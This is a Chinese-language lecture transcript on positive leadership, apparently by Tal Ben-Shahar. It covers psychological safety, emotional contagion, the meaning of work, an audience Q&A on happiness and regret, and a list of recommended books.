+问题7：你所在的团队是否可以使你的优势最大化发挥？如果你的工作技能、才华在工作中得以最大化利用和发挥，那么就说明你在与团队是相互成长、共同提升。 + +下面，请同学们通过以下测试了解自己在团队中的心理安全程度。 + +![](/uploads/2019/06/05-72.png) + +如果你同意三项以上，那么恭喜你，你在团队拥有较高的心理安全感，这有助于你个人优势得到最大化发挥。 + +2.3 提升心理安全度的原因 + +2.3.1 什么时候失败可以作为一个选项？ + +二十世纪五十年代，托马斯·约翰·沃森是IBM公司一个传奇式的CEO，深受员工敬重与爱戴。 + +托马斯曾说：“如果你想要提高成功的几率，首先要将失败的几率翻倍。 ”曾经有位经理犯了一个错误，致使IBM损失了100万美元。当这位经理诚惶诚恐地去递交辞职信时，托马斯却原谅了他的错误，并且告诉他从这次失败中学习很重要，如果下次再犯，就自刎乌江。这个故事至今仍被IBM内部传颂，告诉员工——从失败中学习对于提升自己很重要，你应该去冒险，应该去不断尝试、不断实验。 + +当然，领导者和管理者也需要了解什么时候失败可以成为一个选项，而不是在任何时候都容忍失败。 你需要确保员工不会重复地犯一个错误，你必须要告诉员工，失败没有关系、犯错没有关系，希望你们能够从中学习。 + +2.3.2 以色列借鉴案例 + +以色列是世界上公认的创业国度，创业家的数量相对于总人口的比例为全世界最高，遥遥领先于世界上的其他国家，原因在于——以色列的心理安全感非常高，他们承认失败、从失败中学习。 + +我的很多以色列朋友都有过创业经历，有些人创业成功了、企业上市了。而有些人则一再创业失败，但是他们依然憧憬着下一次创业。所以，你要承认失败并分析失败原因，不然你会永远固步自封、止步不前。 + +米开朗琪罗，著名雕塑家、画家，代表作有惟妙惟肖的《大卫》、气势恢宏的西斯廷教堂天顶壁画等。此前，米开朗琪罗在绘制《大卫》的素描稿时，曾经画疵了大卫的手臂数次，经过不断修改、重画，才有了最终的成品。 + +所以，组织要允许员工失败，因为只有失败才能进步、才能提高员工创造力，才能提高组织整体的创新程度，继而塑造学习型组织、增加整体竞争力。 + +2.4 提高心理安全度的方法 + +那么，我们应该怎样增加心理安全感呢？ + +承认错误，汲取经验 + +作为一个管理者、领导者，应该非常坦诚地跟他人复盘自己失败的案例、举出具体例子，说出是自己哪些失误导致了失败、应该怎样做才能成功。这样，你才能汲取经验，同时体会到别人失败时的感受。 + +几年前，我开设了一个学位课程，有一位三四十岁的女士问我：“Tal，我从事了几年心理治疗师，已经算这个领域的专家。但有时候，我在和跟病人、客户打交道的时，依然觉得自己没有说实话。同时，我感到性格中还是会有一些阴暗面，这使我唉声叹气、黯然神伤。因为，如果我自己都是这种状态的话，我又如何能帮助到我的病人呢？” + +我认为， 90%的人都会有跌倒、情绪沮丧的时候。所以，你要承认低落的情绪不足为奇、司空见惯。作为管理者，你应该和员工坦诚你们碰到的困难、犯下的错误。由此，你就可以让员工放心地去工作、去犯错、去冒险，这样就可以增加团队心理安全程度。 + +塑造好奇心，拓展认知 + +《论语》讲道：“子入太庙，每事问。”（孔子进入太庙，每件关于礼仪的事情都问一问）。或曰：“孰谓鄹人之子知礼乎？”（谁说鄹地的孔子懂得礼仪呢）？子闻之，曰：“是礼也。”（这样做，就是礼）。 + +圣人都知道不懂就问，都知道向任何人求教。为了塑造好奇心、拓展认知，我们更应该发现问题、勇于提出问题。 + +复盘失败案例，增加工作积极性 + +鼓励其他的团队成员讨论并复盘失败案例，通过互相提问分析失败原因。如果组织中可以创造互相学习的氛围，鼓励大家坦诚相待、自由提问，就会提高工作积极性、工作效率。 + +关注、奖励学习过程 + +团队应该鼓励成员不要过分在意学习对自己职业晋升的影响，而是要学会享受持续学习、探索新知的过程。成功应该是持续学习产生的一种衍生品，而不是必需品。 + +3. 平衡自身情绪 + +3.1 情绪传染的重要性 + +镜像神经元人脑中的一种神经元，可以让人在看到别人的动作或感受到别人的情绪时，自发进行模仿；它是人类理解、认知、模仿、学习的基础。 + +八十年代意大利做过神经元方面的研究。研究人员可以分离出一个猴子大脑当中的神经元，这个神经元是负责把手臂举起来的这部分动作，这个猴子每一次把手举到嘴巴边上，它大脑当中的神经元就会发挥作用，这个研究人员可以单独把这个神经元找出来，一旦这个猴子把手臂放下去，这个神经元就好像被关闭了，就像开关一样。 + +于是，世界各地的科学家都去那个实验室看这个研究，因为这在当时是最先进的研究，因为他能够分离出一个单一的神经元，并且表明这个神经元能够负责这个猴子的行为。 + +有一天，一些科学家一起吃完午饭回到实验室，都站在笼子的周围，猴子就躺在笼子里。突然有个科学家注意到，虽然这个猴子躺着手没有动，但相机屏幕上表明这个神经元还在不断地开、关。他们就说，也许跟猴子大脑连接的电子器件动了，因为神经元非常小，哪怕动了一点点，记录的可能就是另外一个神经元的活动，或者是计算机出了问题。 + +这时候有一个科学家意识到了问题所在，他看到另外一个科学家拿着一杯咖啡站在笼子旁边，每一次这个科学家把咖啡杯举到嘴边的时候，猴子脑子里神经元就会发射信号；每一次这个科学家把他的咖啡杯往下放的时候，这个猴子的神经元就不发射了，就这样开关、开关，就好像这个猴子自己把手拿上来、拿下去，其实这个猴子的手根本没有动，但它的大脑就好像一面镜子一样，反映出了那个科学家喝咖啡的行动。 + +这个实验证明人脑存在一个特殊的神经元，能够像照镜子一样通过内部模仿而辨认出观察对象动作行为的潜在意义，并做出相应的情感反应，同时解释了其他人、周边环境对我们自身情感影响的形成原因。当你看到别人抑郁难过时，你也会闷闷不乐；当你看到别人开怀大笑时，你也会喜上眉梢。 + +甘地曾经说过：“你想要看到世界有什么样的变化，你就先做出什么样的改变。” 作为领导者你应该保持积极的情绪，这不仅可以使自己保持健康、激发创造力、提高产出，同时也能潜移默化地影响到团队成员，影响到合作伙伴。由此，提高组织成员工作动力、团队协作能力、工作留存率，最终构建互相学习、互相尊重、互相包容、互相支持的组织氛围。 + +3.2 情绪平衡象限 + +团队成员会跟随那些他们信任的、真诚的、真实的领导者，所以，作为领导，你要告诉你的员工，你会犯错、也会有情绪低落的时候。你需要找到一个真诚和积极的平衡点。 + +但是，有时候，你是否感到真实与积极是相互矛盾？当你直言不讳时，你就无法顾及到他人的情绪。我的同事研究出了情绪平衡象限或许可以为你答疑解惑。这里面有积极性、真实性两个变量同时存在、相互影响。 + +![](/uploads/2019/06/05-73.png) + +沙哈尔老师的习惯是横着写的文字代表横轴坐标名称，竖着写的文字代表纵坐标名称，所以图中横着写的积极性代表的就是横轴坐标，纵着写的真实性代表的就是纵轴坐标。 + +此图中，取悦者通常传播积极情绪，使团队更加高效、更具创造力；驱动者更加真实，更加被团队成员信任；行善者则兼具积极和真实情绪，达到了个人最佳领导状态——既真实又积极。 + +下面，请大家做一个测试来评估下自己目前处于哪个象限。 + +规则：选择你认同的表述，每认同一个记10分。仅X轴总分大于等于30分为取悦者；仅Y轴总分大于等于30分为驱动者；X、Y轴同时大于等于30分为行善者。 + +![](/uploads/2019/06/05-74.png) + +总之，情绪传染性对作为领导者至关重要。在事件发生前，你需要进行历史案例复盘，评估失败原因，选择适合的实时路径，同时你需要根据客观情况（国家政策、行业发展趋势、竞争对手概况、目标人群等）和主观思维（市场推广方式、营销方式等）进行结果评估，这个时候你的主观情绪可能会给你造成很大压力，但是你需要运用情绪平衡象限（积极性、真实性），激发正能量、创造力，最终达成任务目标。 + +![](/uploads/2019/06/05-75.png) + +二、如何挖掘工作的意义 + +下面我们来讲正向领导力Sharp模型第五要素，目的/意义。那么，生命的意义和目的到底是什么？大多数人会认为，当你致力于消除贫困、为世界和平做出贡献、为企业出谋划策等这类不同寻常事情时，你才会感到生命的意义和目的。 + +心理学家维克多•弗兰克尔认为“生命的意义”必须是很宏大的，在于我从哪里来、要到哪里去。或许这个问题可以从宗教中找到答案，因为宗教可以给人们一种意义感、目的感，可以解释我们早上醒来的目的是什么。但是，最优秀的领导者却认为，活在当下、享受工作就能够带来意义。 + +1．工作意义的不同认知 + +威斯康星大学心理学家艾米•蕾赛斯尼斯基和耶鲁大学简•达顿教授说：“即使在最有限、最常规的工作中，员工也能对他们的工作产生本质的影响。”两位教授通过调研不同领域的工作者，将员工分为三类。 + +第一类：把工作看成差事。 这些员工谨遵领导指示，即使觉得有些事情毫无意义，也听从指挥。 + +第二类，把工作看成事业。 这些员工想要获得自我提升、加薪、职业晋升，继而获得事业上的成功。 + +第三类，把工作看成使命。 这些员工做着擅长又有激情的工作，这项工作对他们很重要。他们每天早上期待上班、期待做更多工作、期待对工作产生影响。 + +由此可见，工作的意义不取决于外部条件的满足，而是取决于内心对这份事业的评判。 如果你仅仅把工作当成是一份差事的话，你就只是庸庸碌碌度日，就不会全心全意地投入工作； + +如果你把工作看作是事业的话，你就会获得很大激励，并通过提高自身技能实现升职、加薪；而如果你把工作看作是一项使命的话，你的灵魂就会全心全意投入工作中，从而提高创造力、工作产出、工作参与度、工作积极性，走向人生巅峰、实现自我超越。 + +![](/uploads/2019/06/05-76.png) + +我的合作伙伴，安格斯•里奇韦的妹夫是一名心脏科医生,主要负责用脉搏器测量病人血氧、心率等，同时每隔几年更换脉搏起搏器电池。妹夫的朋友戏谑地认为他就是一个换电池的，但是这位心脏科医生却庄重地回答说自己的使命是通过检测分析病人的身体状况，并挽救病人的生命。 + +所以，不管你在公司处于什么级别，不管你是普通员工、还是领导者，你都应该把工作当成一种使命。大家可以做一个表格，来评估自己目前的工作状态，从而增加工作使命感。 + +![](/uploads/2019/06/05-77.png) + +2、寻找工作意义的方法 + +我们应该怎样使自己所做的工作更有意义呢？我们应该怎样将自己工作的意义与工作的目标建立联系呢？ + +我的学生，亚当•格兰特，现为沃顿商学院教授，做过一个研究，内容是让一个呼叫中心每天打电话给曾接受过资助的校友，让他们向母校捐款。大多数回应都是否定的、负面的。这个工作异常艰难，所以员工流失率非常高，工作满意度极低。 + +亚当•格兰特随机挑选了这个公司50%的员工，去和那些接受了学校的资金帮助的学生交流15分钟。受助学生表达了对筹款机构帮助他们完成4年大学学业的感激之情。于是，那些筹款人员觉得自己的工作更加有意义了，工作满意度得到大大提高。他们觉得自己的工作可以为他人带来影响、带来改变。在这之后，他们筹到的钱比之前提高了250%-400%。这个短短的15分钟交流却带来了意想不到的效果。 + +由此可见，如果你能够感受到你的工作对他人是有帮助的，你就能感受到工作的意义，你就能不断学习更多的东西、不断成长、不断改进，最终更好地帮助他人，遇见更好的自己。 + +下面，让我们来做一个自测题，测试你和团队是否能够发现工作的真实意义。 + +![](/uploads/2019/06/05-78.png) + +三、正向领导力Sharp模型总结 + +本节课，我分别从优势、健康、专注、关系、目的/意义角度详述了正向领导力（Sharp）模型，从最优秀领导者经验出发，为你提供经验借鉴。下面，让我们来总结一下最优秀领导者特质。 + +第一，在日常活动中找到优势和激情的重叠点。带领各自的部门业绩冲天、扶摇直上。 + +第二，简化生活，在工作间歇留出时间休息、合理进行精力管理。这样，就能降低压力、把压力变动力，激发工作热情。 + +第三，通过正式冥想（打坐、瑜伽、健身等）和非正式冥想（倾听、写作、散步等）的方法使工作更加专注，增加工作积极性，赢得职业晋升。由此，就可以从生活及工作中体会到奇迹。 + +第四，构建和谐健康的工作关系，保持积极乐观的情绪。如果你能够让人际关系成为你生活中的一个重点，能够花时间倾听，与你的朋友愉快地玩耍，就能够极大的提高成功概率，增加你作为领导者的喜悦感。 + +第五，作为领导者，如果你能增加自己的心理安全感，允许自己失败，允许自己做凡人；并且给公司员工创造心理安全感，容忍工作上的失误，那么你就能够创立最高效的团队。 + +最后，如果你能把工作当成使命，你就能更好地帮助他人，从而从工作中体会到意义。那么，你的工作满意度就会极大的提高。 + +![](/uploads/2019/06/05-79.png) + +我希望大家将正向领导力Sharp模型也应用到自己工作中，从马斯洛提出“向最佳领导者”学习变为向“最佳的自己学习”。也就是说，通过吸取你过去的经验来激励你现在做的更好，继而使你工作更有激情、创造辉煌的未来。 + +《大学•礼记》中说：“物格而后知至，知至而后意诚，意诚而后心正，心正而后身修，身修而后家齐，家齐而后国治，国治而后天下平。” 作为领导者，你要先从培养自己的修为入手，然后用你的领导力去影响你的家庭、你的企业、你的国家、甚至影响全世界，这就是领导的使命。 + +谢谢大家！ + +四、正向领导力课后作业 + +无论你作为员工还是领导者，你一定有过成功的工作或领导经历， + +请你： + +1）详述其中一次成功的经历 + +2）总结你从该经历中学到了什么经验 + +3）将你学到的经验抽象成词语，并做简要解释其含义 + +这将成为你自己的领导力模型，并希望你在未来不断扩充和完善它。 + +问答 + +问题1：教授，我听过您《积极心理学》的课，但是今天您却讲到领导力和幸福的关系。我之前在普华永道工作，如果我要获得合伙人的位置，我就必须要牺牲掉我的健康、我的关系，于是我辞职了。那么，请问成功和幸福真的紧密相连么？ + +泰勒：很好的问题，我在哈佛教授两门课：《积极心理学》与《领袖心理学》。 + +我有个朋友就说：“这很有意思，你教授一门关于幸福的课和一门关于不幸福的课。”通常大家觉得幸福和成功是在两个极端，因为你要牺牲掉你的健康、你的关系才能获得成功。 + +首先我要说健康，其实这个问题很好解决。我们从最优秀的人身上学到——如果你有时间去恢复、去休息的话，即使你工作压力很大，你也会感到很幸福，就像你去健身房一样。不过你要明确两点， + +第一，压力并不是问题所在，缺乏休息才是问题所在。 + +第二，你要改变对压力的看法，压力也可以转化成动力。 + +我之前在新加坡一家航运公司工作，我的老板，他非常努力地工作，以捍卫他一手打造的公司，但是他也知道怎样去休息。比如，他去普吉岛度假，在那有一个度假屋；或者他下班后和朋友一起出去聚会，并定期去健身房。也就是说，他在工作间歇也是会有恢复、休憩的时间，因为健康的身体对工作至关重要。 + +昨天我刚从纽约飞到北京，刚下飞机到酒店，我就立刻去健身房了。因为我的生活压力也很大，自己仿佛空中飞人，也有繁重的教学任务。所以我需要有休息的时间去恢复。 + +说到关系，这比较复杂。前面提到，最好的关于领导力方面的书是传记。我最近在读亚马逊创始人和CEO——杰夫•贝佐斯所著的《杰夫•贝佐斯》，里面提到：作者自己和乔布斯，两个人都是非常严厉的领导者、管理者，他们并不培养自己与员工建立起一种积极正向的关系。也许他们是真实的、真诚的，但并不是最积极的。 + +这是什么原因呢？当你提出一个理论、一个模型的时候，你就提出了一个迁移的道理。也就是说，这个模型不是基于一人的，而是适用于所有人的。我们在用马斯洛方法论进行研究的时候，也研究到乔布斯。他有巨大的优势，有很有意义的工作。 + +他在斯坦福的毕业演讲，讲到了目的、意义，讲到了那些存在于日常生活中的意义，也讲到了他大学时上过书法课。于是，他把这些与他所做的工作联系起来。乔布斯在专注方面做得尤其好，但是说到关系，他就有很多需要改进的部分，而这与他的健康息息相关。因为关系不仅是最能预测幸福感的，也是最能预测健康的。 + +有研究表明，在很多情况下，你关系的质量比你的健康，甚至比你的饮食还要重要。 如果你能够创造出一个健康的关系，你就可能会更长寿。没有哪个人能够描述整个Sharp模型上所有的要素，即使他们都有自己的优势，他们也需要经常锻炼，这样才能休息、恢复。 + +有些人特别专注，他们会做一些觉察的练习，他们需要有真诚、积极的关系；同时，他们也需要找到工作的意义。并不是说我们要具备所有这五个要素，但是我们可以从不同的人身上去学习，这就是我为什么一直强调——一个微小的改变就会带来巨大的影响的原因。 + +如果你能从乔布斯身上学到意义、目的感；能从贝佐斯身上学到他的专注力；能从达芬奇身上学到他的创新、创造力，学习他创造一个安全心理环境的方法的话，这些都会让你受益匪浅。 + +诚然，乔布斯、贝佐斯、甘地等不是一个完美的人，他们只是不同寻常的人。然而，我们依然可以从这些优秀的人身上学到很多，只不过视角要不同。 + +第一，要记住他们都是凡人、不是完美的机器。 + +第二，我们从他们身上能够学到很多，并应用到自己生活中。 + +问题2：老师，您好。请问为什么人的情绪有时候会对一些事情越来越敏感、多愁善感？ + +泰勒： 我认为造成情绪变化的主要原因是情绪的接纳。一些研究表明，在人的一生中，你幸福的程度总会起起落落。 + +少年时代，你无忧无虑、笑口常开、幸福快乐，后来“吾家有女初长成”，然后，你开始恋爱、工作，但你的幸福感却逐渐下降，因为你开始隐藏你的情绪，你希望别人看到你坚强的一面，所谓“男儿有泪不轻弹”，“独立坚强的女人最有女人味”。但随着我们的年纪越来越大，我们变得越来越幸福，因为我们接纳我们本有的情绪，我们开始接受那些痛苦的、悲伤的、喜悦的、欢愉的情绪。因此，我们更幸福了。 + +20世纪70年代的以色列总理梅纳赫姆•贝京说：“那些不能全心全意痛哭的人，也就不能全心全意体会生命的幸福。”我们通过看电影、看新闻报道，进行情绪自我感染。当我们不能自已、情难自制的时候，会变得很敏感，虽然我们自己并不希望如此。其实，只有我们充盈着这些情绪的时候，我们才能真正释放自我去享受生活的种种美好了。这正是冥想的作用，不妄加评论，开放、坦诚、接受一切。 + +例如，当我冥想的时候，我忽然感到自己身体的某个地方有点痛，我不会介意它，我接受了这个痛楚；如果我忽然走神了，我也不会介意自己的行为，而只是接受这个事情。所以，冥想的第一条原则就是：冥想没有好坏，最重要的就是你接纳自己是普通人、是凡人这个事实，这是你拥有那些快乐、那些幸福感的基础，也是你享受生活的基础。你要允许自己流泪，即使是看一个很小白的电影。 + +当我们把这种情绪带到工作上会发现，那些情绪非常充沛、饱满的领导，通常能更好地控制自己的情绪、行为。这看起来像一个悖论，因为很多人认为那些严肃的人有更好的控制力，因为他们并没有将自己的情绪外露。 + +俗话说“男儿有泪不轻弹”，意味着男儿不应该轻易落泪，将脆弱的一面外露，而女人不应该生气、应该非常温柔，这才是贤妻良母的标配。有些女性，她们意识到了发脾气是不对的，于是故意抑制了自己愤怒的情绪，但最终，她们反而会表现的更愤怒。相反，如果她们能够接受愤怒是一种正常情绪的话，她们反而能更好地控制自己的行为。 + +所以，你要允许自己去经历那些情绪以更好地控制自己的行为，这不仅能够帮助领导者理清思路，也能够帮助他们找到情绪适当释放的时机。 + +综上所述，你可以继续敏感、继续活在当下，当然这并不是一夜之间就能做到的，但是你会看到它循序渐进地改变着你的生活。 + +问题3： 那些追求完美的人，可能更容易抑郁，因为他们是活在未来、而不是活在当下.我们总是更加注重结果、而不是过程。请问我们应该采取什么样的办法使我们活在当下,我们应该怎样从失败中恢复过来，去保持乐观、去原谅自己？ + +泰勒： 首先，我讲一下怎么活在当下。对幸福来讲，一边是东方佛教观念，另一边是西方幸福学的研究，这两者在有些方面是有所不同的。其中有一点，对于未来的目标看法，分为两个思想流派。 + +流派1：如果你想要幸福，你就要去达成目标、去更上一层楼，这样，你就能获得幸福了。比如说你赚更多的钱，买更多的房子，找到你的伴侣，于是你就达成了目标，你就更幸福了。但今天我们讲了成功并不是幸福的秘诀，并不一定能带给你幸福，帮你达成未来的目标。 + +流派2：如果你想要幸福，就把握当下、莫问前程。既然成功并不能让你获得幸福，不如专注当下，发现日常中的奇迹，让平凡变成非凡，去获得幸福。 + +我的看法是将这两个流派结合起来。一方面，我们要明确目标、专注目标。另一方面，我们也要活在当下。要同时做到这两点，我们需要发现目标背后真实的意义，需要解放自我、活在当下，去实现终极目标。 + +假设我们现在正在公路上开车，如果我不知道目的地在哪里，我就得随时小心，以防迷路，所以我必须要保持谨慎的态度、不越雷池一步。但如果我知道我想要什么、知道最终的目的地在哪里，我就会有一个方向感。那时候，我就可以欣赏沿途的风景、享受旅途的乐趣了。 + +其实，你的生活也是如此，如果你不清楚生活的目标在哪，就会很茫然、没有方向感。对很多人来说，这种感觉并不幸福，人茫然的根源恐怕就在于对未来不确定性的恐惧。你早上醒来，就想把一天填满，通常这种日子并不幸福。反之，你在想象一下，如果你有明确的目标，你就有可能更积极、更有动力去面对生活，也更有可能专注于当下做的事情。 + +所以，我们首要需要改变的是对目标的理解、设定目标的目的。因为，并不是说你实现目标后，例如你获得终身教职、彩票中奖、工作晋升，你就实现生活目标了，就解放自己了，就更幸福了、更能享受生活了，这只是表面的欢愉。 + +相反，一旦你有了明确的目标，通过倾听、协作、电话会议、散步等方式将目标与幸福结合起来，你就可以放手一搏，就更自由了，就可以聚精会神享受当下了。 一蹴而就走向巅峰并不是幸福，而享受走向巅峰的过程才是真正的幸福。 + +关于第二个问题，如何走出失败。其实，失败是不可避免的，它也是生活中的一部分。当然，失败会让人不开心，对你我都一样。 + +![](/uploads/2019/06/05-80.png) + +我去年申请了一个项目，和一个咨询公司合作，有两个原因让我饶有兴致。 + +原因1：这个项目能给我带来很多的钱，使我可以养家糊口（很多年前了）。 + +原因2：这个项目特别有意思，所以我很想去做。而且，还可以和组织行为学领域最顶尖的人共事。 + +于是，我花了很长时间、很长精力去写项目提案，但最终我没有拿到这个项目，于是感到很沮丧。我坐在家里，我的太太和我说：“Tal，你的学生们知不知道你失败过多少次？”我回答说：“他们当然不知道，我的理论对他们很重要，我希望他们可以听到我最成功的讲座，看到我写的最成功的书，我不希望他们看到我伤心、失败的一面。” + +为什么我要提醒自己“要么学会失败，要么就别想学会”，是因为我要提醒自己这个事是会过去的，人性都是如此，都不喜欢失败，但失败的情绪也会过去。当然，我并不是说希望大家热爱失败，因为失败会带来艰苦、伤心、难过，而是希望你接受你的逆境，逆境有两个层面。 + +层面一：只要活着，你就会有痛苦，就会经历逆境，这是我们人生必经之路、不可逆转的。例如，恋爱的时候，你会经历痛苦；成家的时候，你会与爱人有冲突、不同的意见；上班的时候，你也会有困难的时候。 + +层面二：我们排斥第一层面痛苦，于是创造了第二个层面的痛苦。如果我对自己说：“ Tal，你怎么会经历这么多痛苦呢？你是积极心理学的专家，应该能够更好的方法来处理你的痛苦。你没有拿到这个项目，那又怎么样，还有其它项目呢，你不应该在这里感觉这么痛苦。”接着，如果我又跟自己说：“是的，我经历了痛苦、我不高兴、我哭了，这不是幸福的流泪、而是痛苦的流泪。我跟我的合作伙伴讲了这个事情，也写在了日记里。”这时候因为我人为的臆想了痛苦，于是就经历了另一个层面的痛苦。 + +之后，在痛苦消失后，就会带来喜悦，而在喜悦消失后，又会有痛苦进来，循环往复，生活就是这样跌宕起伏。而这些起落如果是在推动你人生慢慢向上走，就会使你在之后经历更少的痛苦，而去享受更多的喜悦。每次向上一小步，意味着你在接纳你的痛苦，你的不快乐。最终，你将收获更多的幸福、快乐。综上所述，第一个层面的痛苦也许是不可避免的，但是第二个层面其实你是可以选择有或没有的。 + +问题4：请问，关于放弃和坚持，如果在一个事情在未来不明朗的情况下，你是如何选择？如果你选择坚持，你是如何在这个过程中处理你的负面情绪？如果你选择放弃，你是如何说服自己放弃这个执念呢？ + +泰勒： 研究表明，有两种形式的懊悔、后悔。 + +形式一：由于不做事而产生的懊悔。比如我们后悔没有做什么事情。 + +形式二：由于做了某个事情而后悔。 + +不管是做事后悔了，还是没做事后悔，我们都需要付出代价。一般来讲是这种规律，但不是总是这样，如果因为你因为没做什么而后悔了，就会油然而出一些痛苦。开始的时候痛苦也许不大，但慢慢的这个痛苦会越来越大。我们总是在想我为什么当时没有那么做，我应该做那个就好了，而往往这个懊悔会慢慢的像滚雪球一样越滚越大。 + +相反，如果要是我做了些什么，后来后悔了，觉得不应该那样做，往往这个痛苦在开始的时候会特别大比因为没做某事而后悔的痛苦在开始的时候还要大，但之后它很快会消失。 + +总体来讲，如果我们因为没做事情而后悔远远比因为做了某事而后悔，所付出的代价要更高。如果我们没做什么事而懊悔，就会在头脑里一直想我本来应该怎么样，而十年之后我可能还在想，如果当时我做这个事情的话，生活也许就完全不一样了。但如果我们做了什么事情，最后失败了，我们觉得也会很懊悔，为什么我当初要尝试呢？但这种懊悔很快就会消失，我们会继续砥砺前行。 + +这个研究提出我们应该尽量去尝试，即使是失败。就像我当初申请那个项目，我是失败了，让我感到很痛苦，我真希望当初没有去申请。但是，一个月之后，这件事已经翻篇，我不会再去想了。 + +我之所以现在提到，是因为我要用这个故事给大家做例子。相反，如果我当初没有申请这个项目，那十年后我还会后悔，为什么我当初没有申请，也许申请我就能中标了，那样也许我的生活就会完全不同了。 + +在关系的层面，我们也要尽力去争取不后悔。比如，有一个女孩或者男孩对我特别有吸引力，我就去约他/她出去，即使他们拒绝了，也许我会很尴尬、会后悔。但是，一周、两周、三个月之后，我就会把这个事忘了，就会接着往前走。你们虽然会生气，但是你们也会消气，会回到原本的生活里，生活就是这样起起落落，每个人都经历过。 + +总之，如果你犹豫到底做不做一件事的时候，你就应该去做、去尝试。即使你失败了，你也要接受这个结果，因为你无法改变已经盖棺定论的事情。如果你可以很好的处理它，你就会越来越坚强。 反之，如果你不想继续、不想坚持的话，也可以。心理学方面称之为拖延，拖延的人总是将事情拖到最后一刻才去做。 + +他们最大的特点就是他们相信——灵感要先于行动，在行动之前先有动力才行。也就是说，如果你真的特别想要去做这个事情的时候，你才能去做这个事情。其实不然，那些能把事情做成的人，不是相信行动之前要有灵感，而是相信要先有行动，才会有灵感，有了行动之后，才会有动力。 + +比如我，我每一天早上醒来都会写作，这对我来讲这是一个习惯。有时候早晨起来我不想写作，但我并不会等到我有灵感的时候在写，而是不管有没有灵感，在每天清晨，我都要动笔去写。因为只有在我开始动笔后，我才有动力去继续写。在刚开始写的5分钟，我会很痛苦。5分钟之后，我就有了灵感，我真的愿意去写作。 + +当你经历痛苦时，也是同样。你要先继续前行，也许一开始并不顺利，你会觉得只有在非常幸福的时候才有动力向前走。 + +但其实，生活有时就是很艰难，充满挑战的。有时候我感觉，我不想去上班，因为我刚刚经历了一段我之前从未经历过这种痛苦。这没问题，你可以先行动，通过行动，你就能够感觉更好，你就能更有动力。 + +最后，我再给大家讲一个德鲁克的故事。德鲁克被很多人认为，是管理学、领导力方面最伟大的思想家、研究家、实践者，他在生命的晚年（80多岁、90岁的时候），因为身体原因，已经不可能再去为大家讲座了，但他仍然非常聪明、逻辑非常清晰。 + +他邀请别人到他家里做客，跟他一起度过周末（周五到周日）。和大家说：“当你们星期一回去工作的时候，我不希望你们给我打电话说：‘我和德鲁克度过了一个愉快的、美好的周末。’我希望你们打电话告诉我，你们现在和之前相比，做了哪些改变，做了哪些不同的事情。”我希望你们给我打电话告诉我，你们现在做了哪些跟以前不同的事情。 + +德鲁克曾经辅导过像你们这样的几百个管理者、领导者，他明白，如果你们要想真正的改变，不仅仅只是理解、明白就可以了，虽然这也很重要，但比灵感和动力更重要的是行动。 + +今天我给大家讲了很多关于正向领导力的内容，我希望大家可以将这些理论、这些经验，实际应用到你们的生活中、家庭里、工作单位。虽然，你们仍然会像以前一样经历生活的起起落落，但是如果你们行动起来，你们就会得到更多的动力、灵感，由此也就有了更多的行动，也就意味着你们走上正轨了，走上了更好的、更有效的、更成功的、更幸福的领导者的正轨。 这难道不是我们所有人希望自己和其他人能够实现的吗？ + +谢谢大家！ + +课后推荐书目之一《情商》 + +本节课上，沙哈尔博士讲到领导者应该构建相互学习、相互尊重、相互包容的积极正向组织关系，从而提高员工工作动力、激发创造力，最终打造学习型组织。 + +那么，领导者应该运用什么方法去激发员工斗志？普通员工又应该如何提高情商去应对办公室政治？生活中的我们又应该如何提高情绪管理能力，从而做出更加理性的行为？本节课推荐书目之《情商》，由哈佛大学心理学博士、前《纽约时报》撰稿人丹尼尔·戈尔曼巅峰巨献，该书自2010年出版以来，全球销量已逾千万，是提升情商的必读书目。 + +![](/uploads/2019/06/05-81.png) + +课后推荐书目之二《社交天性：人类社交的三大天性》 + +本节课上，沙哈尔博士讲述了镜像神经元对人类行为产生重大影响，当你神采飞扬、笑口常开时，你周围的人也会耳濡目染、开心每一天。作为领导者，你应该向员工传递积极、乐观的情绪，以便激发团队成员工作积极性、工作留存率，使员工享受工作的过程。 + +本节课推荐书目之《社交天性：人类社交的三大驱动力》，哈佛大学社会心理学博士马修·利伯曼撰写，被“影响力教父”西奥迪尼、“邓巴数”提出者罗宾·邓巴、北京大学国家发展研究院教授汪丁丁等倾力推荐，首次披露大脑天生爱社交的神经学奥秘。本书运用认知神经科学理论，通过对大脑神经元与社交的关系、人类社交三大驱动力、社交对工作及生活的重要性三方面为我们提供科学合理化建议。 + +![](/uploads/2019/06/05-82.png) + +课后推荐书目之三《自我发现与重塑》 + +本节课中，沙哈尔博士讲述了工作的意义在于内心对这份工作的评判。也就是说，当你把工作当成使命时，你的灵魂就会全心全意地爱着这份工作，你就能活在当下、享受当前的工作，因为你感到你的工作成果能为他人带来帮助，为社会做出贡献。 + +也许你已经被雪花般的任务搞得眼花缭乱，找不到任务主次；也许你已经对日常工作感到麻木，找不到动力去工作；也许你已经对日益剧烈的职场竞争弃疗，不知道怎样高效做事、提高个人竞争力。本节课推荐书目之《自我发现与重塑》，由哈佛大学商学院教授克莱顿·克里斯坦森撰写，管理学界“奥斯卡”——《哈佛商业评论》百年精粹，帮助工作者分析自己的优势与劣势，梳理自我完善、自我实现的方法，将商业智慧运用到实际生活中，提高做事效率及面对困境的方法。 + +![](/uploads/2019/06/05-83.png) + +本节课推荐书目之四《赢》 + +本讲中，沙哈尔博士讲到最优秀的人往往都是那些把工作当成使命的人。 + +当今社会，随着信息大爆炸时代来临，于是，我们重新定义战略、重新定义创新、重新定义管理、重新定义团队。那么，究竟哪些东西是不变的，我们需要如何定义我们工作的使命？ + +本节课推荐书目之《赢》，由杰克·韦尔奇（通用电气董事长兼首席执行官）和苏茜·韦尔奇（前贝恩管理咨询公司高级咨询顾问、现《哈佛商业评论》编辑）联合撰写，畅销全球。该书从作者亲身管理实践及咨询项目经验出发，运用大量鲜活的案例，涵盖集团管控、风险预警、预算管理、员工招聘等多个方面，帮助中国企业家及管理者从容应对商业变革。 + +![](/uploads/2019/06/05-84.png) + +本节课推荐书目之五《领导力心理学：洞悉人心，激活团队》 + +沙哈尔博士通过三节课讲述了正向领导力Sharp模型五要素——优势、健康、专注、关系、目的/意义，这个模型告诉我们如何发现自身优势、促进身体健康、保持工作专注度、构建和谐人际关系、寻找工作意义，通过向最优秀的领导者学习发现更好的自己。 + 